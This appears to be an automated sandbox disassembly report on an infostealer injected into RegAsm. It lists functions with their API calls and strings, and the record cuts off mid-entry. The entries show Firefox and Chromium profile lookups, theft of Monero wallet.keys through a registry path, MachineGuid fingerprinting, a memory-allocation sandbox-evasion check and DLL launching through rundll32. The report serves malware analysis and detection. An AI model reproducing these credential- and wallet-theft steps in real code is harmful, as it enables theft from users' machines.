
Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: HttpInternetlstrcpylstrlen$OpenRequest$AllocConnectInfoLocalOptionQuerySend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 4174444224-1526165396
Opcode ID: cba5ef62937bcd0ece7cfbe729aa70542ea14c206f344e1eed86aa985cb31328
Instruction ID: f999f3c62c0b23b7ff363c4994354db6f8ba44fc0c3398813b2d55053c878ef3
Opcode Fuzzy Hash: cba5ef62937bcd0ece7cfbe729aa70542ea14c206f344e1eed86aa985cb31328
Instruction Fuzzy Hash: 6021E571910204ABCB10BB75DC469DD77B8AF04308F11512BFC05E3191DB7DD9858F99

Function 0040EABC Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 290COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(0094C481), ref: 0040EAF9
StrCmpCA.SHLWAPI(0094C481), ref: 0040EB56
StrCmpCA.SHLWAPI(0094C481,firefox), ref: 0040EE1D
StrCmpCA.SHLWAPI(0094C481), ref: 0040EC33

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417621), ref: 00410538

StrCmpCA.SHLWAPI(0094C481), ref: 0040ECE3
StrCmpCA.SHLWAPI(0094C481), ref: 0040ED40

Strings

Stable\, xrefs: 0040ED5B
Stable\, xrefs: 0040EB71
firefox, xrefs: 0040EE17

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: Stable\$ Stable\$firefox
API String ID: 3722407311-2697854757
Opcode ID: f47b23f97fdeb4fe9174fc30896a49faa6594533cdb81bf1bfd78cb08f979325
Instruction ID: 5ee9920858f87ab95f25d72870b6309d75f224e844084726c2f6447a77145a42
Opcode Fuzzy Hash: f47b23f97fdeb4fe9174fc30896a49faa6594533cdb81bf1bfd78cb08f979325
Instruction Fuzzy Hash: 5FB19E72D00109AFDF20FFA9D947B8D7772AF40318F550126F904B7291DB78AA688BD9

Function 00415DF7 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 120stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,?,00000000,?), ref: 00415E86

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000), ref: 00415EA3
lstrcatA.KERNEL32(?,?), ref: 00415EC2
lstrcatA.KERNEL32(?,?), ref: 00415ED6
lstrcatA.KERNEL32(?), ref: 00415EE9
lstrcatA.KERNEL32(?,?), ref: 00415EFD
lstrcatA.KERNEL32(?), ref: 00415F10

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 00415B0B: GetProcessHeap.KERNEL32(00000000,0098967F,?,?,?), ref: 00415B30
Part of subcall function 00415B0B: HeapAlloc.KERNEL32(00000000), ref: 00415B37
Part of subcall function 00415B0B: wsprintfA.USER32 ref: 00415B50
Part of subcall function 00415B0B: FindFirstFileA.KERNEL32(?,?), ref: 00415B67
Part of subcall function 00415B0B: StrCmpCA.SHLWAPI(?,00436A98), ref: 00415B88
Part of subcall function 00415B0B: StrCmpCA.SHLWAPI(?,00436A9C), ref: 00415BA2
Part of subcall function 00415B0B: wsprintfA.USER32 ref: 00415BC9

Strings

LzA, xrefs: 00415FC2

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeapwsprintf$AllocAttributesFindFirstFolderPathProcesslstrcpy
String ID: LzA
API String ID: 1968765330-1388989900
Opcode ID: 61a9eae631c4f4c070e409ad03bdd47fbe0ad62b514eba050441441a9a86a129
Instruction ID: 3907ee1014e8156982b731ec0efd03be7befdbbf2a83afad572f10a5b305f32e
Opcode Fuzzy Hash: 61a9eae631c4f4c070e409ad03bdd47fbe0ad62b514eba050441441a9a86a129
Instruction Fuzzy Hash: AC51FBB1A0011C9BCF54DB64DC85ADDB7B9BB4C315F4044EAF609E3250EA35AB89CF58

Function 0040FB2D Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 159COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000,?,?,?), ref: 0040FB52
OpenProcess.KERNEL32(001FFFFF,00000000,00000000), ref: 0040FB7E
_memset.LIBCMT ref: 0040FBC1
??_V@YAXPAX@Z.MSVCRT(?), ref: 0040FD17

Part of subcall function 0040F030: _memmove.LIBCMT ref: 0040F04A

Strings

N0ZWFt, xrefs: 0040FC7E

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: OpenProcess_memmove_memset
String ID: N0ZWFt
API String ID: 2647191932-431618156
Opcode ID: bf469ea079a5c9aa9189a4ad8b5c63bf1766affe1fde04721859988ce0042922
Instruction ID: eb1f70013287725bf786605e83da5f1b289e944c87060308bf9427b65ac1957a
Opcode Fuzzy Hash: bf469ea079a5c9aa9189a4ad8b5c63bf1766affe1fde04721859988ce0042922
Instruction Fuzzy Hash: 045191B1D0022C9FDB309F54DC85BDDB7B9AB44308F0001FAA609B7692D6796E89CF59

Function 00407FAC Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 60filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
LocalFree.KERNEL32(0040ECBC,?,?,?,?,0040E756,?,?,?), ref: 0040802B
CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Strings

V@, xrefs: 00408042

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID: V@
API String ID: 2311089104-383300688
Opcode ID: d63a5464314b69c61ac75c0db440d02a9ca78bdcd81ff691c89ea163c61aca46
Instruction ID: 10e4ee5bcd24e5c00d10c93a2cb3902743b6293cd5753d2e79081f11b23a5eb1
Opcode Fuzzy Hash: d63a5464314b69c61ac75c0db440d02a9ca78bdcd81ff691c89ea163c61aca46
Instruction Fuzzy Hash: 47116070900204EFDF25DF64DD88EAF7BB9EB48741F20056AF481F2290EB769A85DB11

Function 00401AB8 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 129stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00401ADC

Part of subcall function 00401A51: GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00401A65
Part of subcall function 00401A51: HeapAlloc.KERNEL32(00000000), ref: 00401A6C
Part of subcall function 00401A51: RegOpenKeyExA.KERNEL32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,00401AE9), ref: 00401A89
Part of subcall function 00401A51: RegQueryValueExA.ADVAPI32(00401AE9,wallet_path,00000000,00000000,00000000,000000FF), ref: 00401AA4

lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00401AF1
lstrlenA.KERNEL32(?), ref: 00401AFE
lstrcatA.KERNEL32(?,.keys), ref: 00401B19

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417621), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00416E97: CreateThread.KERNEL32(00000000,00000000,00416DC6,?,00000000,00000000), ref: 00416F36
Part of subcall function 00416E97: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00416F3E

Strings

\Monero\wallet.keys, xrefs: 00401B2F
.keys, xrefs: 00401B0D

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$File$AllocCreateHeaplstrlen$CloseHandleLocalObjectOpenProcessQueryReadSingleSizeSystemThreadTimeValueWait_memset
String ID: .keys$\Monero\wallet.keys
API String ID: 3529164666-3586502688
Opcode ID: bd28ef697300de5884e94e1d673300fc32a7f2f0cccbe00ca3c3488f143d60c0
Instruction ID: 0130a2ac35af31154b38bf277d642d4284bba686758d2f8fdbfb5a94e7082e10
Opcode Fuzzy Hash: bd28ef697300de5884e94e1d673300fc32a7f2f0cccbe00ca3c3488f143d60c0
Instruction Fuzzy Hash: C95160B1E9012D9BCF11EB25DD466DC7379AF04308F4054BAB608B3191DA78AFC98F58

Function 004115D4 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 48registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00411607
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,?,?,?,?), ref: 00411626
RegQueryValueExA.KERNEL32(?,MachineGuid,00000000,00000000,?,000000FF,?,?,?), ref: 0041164B
CharToOemA.USER32(?,?), ref: 0041166B

Strings

MachineGuid, xrefs: 00411640
SOFTWARE\Microsoft\Cryptography, xrefs: 0041161C

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CharOpenQueryValue_memset
String ID: MachineGuid$SOFTWARE\Microsoft\Cryptography
API String ID: 2355623204-1211650757
Opcode ID: ef8e750435fd874f5544eab0802719870d73a3aabe5340ca703cc68e518caacf
Instruction ID: 75e31153c2228976b0cf0a8f1d4bbd960c746e32b60f2683a95406e25632d02a
Opcode Fuzzy Hash: ef8e750435fd874f5544eab0802719870d73a3aabe5340ca703cc68e518caacf
Instruction Fuzzy Hash: CC111EB590021DAFDB10DF90DC89FEAB7BDEB08309F4041E6A659E2052D7759F888F14

Function 00401A51 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 35memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00401A65
HeapAlloc.KERNEL32(00000000), ref: 00401A6C
RegOpenKeyExA.KERNEL32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,00401AE9), ref: 00401A89
RegQueryValueExA.ADVAPI32(00401AE9,wallet_path,00000000,00000000,00000000,000000FF), ref: 00401AA4

Strings

SOFTWARE\monero-project\monero-core, xrefs: 00401A7F
wallet_path, xrefs: 00401A9C

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: SOFTWARE\monero-project\monero-core$wallet_path
API String ID: 3676486918-4244082812
Opcode ID: 724872420e6656dc421950b0da405abf7eebffbf311253c609d29da366c3edf5
Instruction ID: a12903c7620fb5d6c8df92349d75cdfb1a5743fd57e0ed8a0c6fb3df1ac1df80
Opcode Fuzzy Hash: 724872420e6656dc421950b0da405abf7eebffbf311253c609d29da366c3edf5
Instruction Fuzzy Hash: ACF03075640304BFEB149B90DC0AFAA7A69DB44B06F141065B601B5190E6B66A509A24

Function 00411757 Relevance: 9.1, APIs: 6, Instructions: 58commemoryCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0041175E
CoCreateInstance.OLE32(004331B0,00000000,00000001,0043AF60,?,00000018,00411901,?), ref: 00411781
SysAllocString.OLEAUT32(?), ref: 0041178E
_wtoi64.MSVCRT ref: 004117C1
SysFreeString.OLEAUT32(?), ref: 004117DA
SysFreeString.OLEAUT32(00000000), ref: 004117E1

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: String$Free$AllocCreateH_prolog3_catchInstance_wtoi64
String ID:
API String ID: 181426013-0
Opcode ID: 2a8a8d3a5fb5e4c548b2e74474f278fcd92b95a51f6f99006cb2dd729b002af8
Instruction ID: 49cd324ebe81867dc14fdb11462f5a122b1e841d4163eb6196de4943798d3ef6
Opcode Fuzzy Hash: 2a8a8d3a5fb5e4c548b2e74474f278fcd92b95a51f6f99006cb2dd729b002af8
Instruction Fuzzy Hash: 71115170A0424ADFCB019FA4CC999EEBBB5AF48300F54417EF215E72A0CB355945CB59

Function 004010F0 Relevance: 9.1, APIs: 6, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,001E5D70,00003000,00000004), ref: 004010AA
_memset.LIBCMT ref: 004010D0
VirtualFree.KERNEL32(00000000,001E5D70,00008000), ref: 004010E6
GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,004184CC), ref: 00401100
VirtualAllocExNuma.KERNEL32(00000000), ref: 00401107
ExitProcess.KERNEL32 ref: 00401112

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Virtual$AllocProcess$CurrentExitFreeNuma_memset
String ID:
API String ID: 1859398019-0
Opcode ID: 0501fa894185b91e7b693979df3d5285810351213a83039d854fa14beaa21ce0
Instruction ID: 2816971d78f640c5210f5c3df2c68b6a36055d88f9abb901e61d14fe4f69d22d
Opcode Fuzzy Hash: 0501fa894185b91e7b693979df3d5285810351213a83039d854fa14beaa21ce0
Instruction Fuzzy Hash: 30F0C87238122077F22412763C6EF6B1A6C9B41F56F205035F308FB2D0D6699804967C

Function 00412962 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 182COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

ShellExecuteEx.SHELL32(?), ref: 00412B84

Strings

.dll, xrefs: 004129ED
C:\Windows\system32\rundll32.exe, xrefs: 00412AE3
"" , xrefs: 00412A32
C:\ProgramData\, xrefs: 00412995

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShellSystemTimelstrlen
String ID: "" $.dll$C:\ProgramData\$C:\Windows\system32\rundll32.exe
API String ID: 2215929589-2108736111
Opcode ID: c76b9356db023fdea971dc893b2b920fd300fe1c02b79897c04016921bfa74e0
Instruction ID: fcd8ae3be328f2bece2d36ab058f070ab7b5b8f350f6457e4fbb623da5ab610c
